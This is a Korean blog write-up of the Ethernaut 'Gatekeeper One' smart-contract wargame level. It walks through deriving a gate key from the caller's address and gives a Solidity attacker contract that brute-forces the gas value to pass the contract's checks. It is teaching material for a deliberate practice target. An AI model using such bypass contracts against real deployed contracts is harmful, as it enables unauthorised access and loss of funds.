새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Gatekeeper One

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

우리의 mission은 entrant에 tx.origin을 넣어 level을 통과하는 것이다.

일단 코드를 보면 modifier가 3개나 있다.

첫 번째: msg.sender != tx.origin

두 번째: gasleft() % 8191 == 0

세 번째: uint32(uint64(_gatekey)) == uint16(uint64(_gatekey))

              uint32(uint64(_gatekey)) != uint64(_gatekey)

              uint32(uint64(_gatekey)) == uint16(uint160(tx.origin))

이렇게 나와 있다.

 

첫 번째, 두 번째를 보기 전에 세 번째 먼저 보자

_gatekey는 8byte이다. 일단 저기 수 들이 어떻게 나타나는지 한 번 보자

나의 tx.origin은 0xbF0C598Efc0Ce31eB2f8A73e229f4556B7582e6A이다.

결과를 보면 bytes8은 uint64랑 같다.  그리고 uint32는 끝 4byte이다uint16은 끝 2byte이다.

초기 gatekey는 0000000000000000이라고 설정하면

uint32(uint64(_gatekey)) == uint16(uint160(tx.origin))을 만족하려면 0000000000002e6A가 되어야 한다.

그러면 uint32(uint64(_gatekey)) == uint16(uint64(_gatekey))도 같이 만족한다.

uint32(uint64(_gatekey)) != uint64(_gatekey)을 만족하려면 229f4556B7582e6A 여기서 중간 4byte만 0000이 되어야 한다.

229f455600002e6A

gatekey는 0x229f455600002e6A로 구해졌다.

이제 gasleft() % 8191 == 0을 만족해야 하는 데 gasleft()는 잔여 가스량을 uint256형태로 출력해주는 함수이다.

이 부분에 대해서는 debug를 이용하여 사용하고 나오는 잔여 가스량을 구하고 거기에다가 8191의 배수가 되도록 맞추면 되는데 시간이 너무 걸려서 github코드를 참고하였다.

contract Attacker{
    
    GatekeeperOne gateone;
    constructor(address _address) public {
        gateone = GatekeeperOne(_address);
    }

    function Attack() public {
        bytes8 _gateKey = 0x229f455600002e6A;

        for(uint256 i=0; i<300;i++){
            (bool sent, ) = address(gateone).call{gas:i+150+8191 * 3}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
            if(sent) {
              break;
            }
        }
    }
}

정상적으로 실행되는 것을 알 수 있다.

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Naught Coin  (0) 2023.02.09
[Ethernaut] Gatekeeper Two  (0) 2023.02.09
[Ethernaut] Elevator  (0) 2023.02.09
[Ehthernaut] MagicNumber  (0) 2023.02.08
[Ethernaut] Re-entrancy  (0) 2023.02.07
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.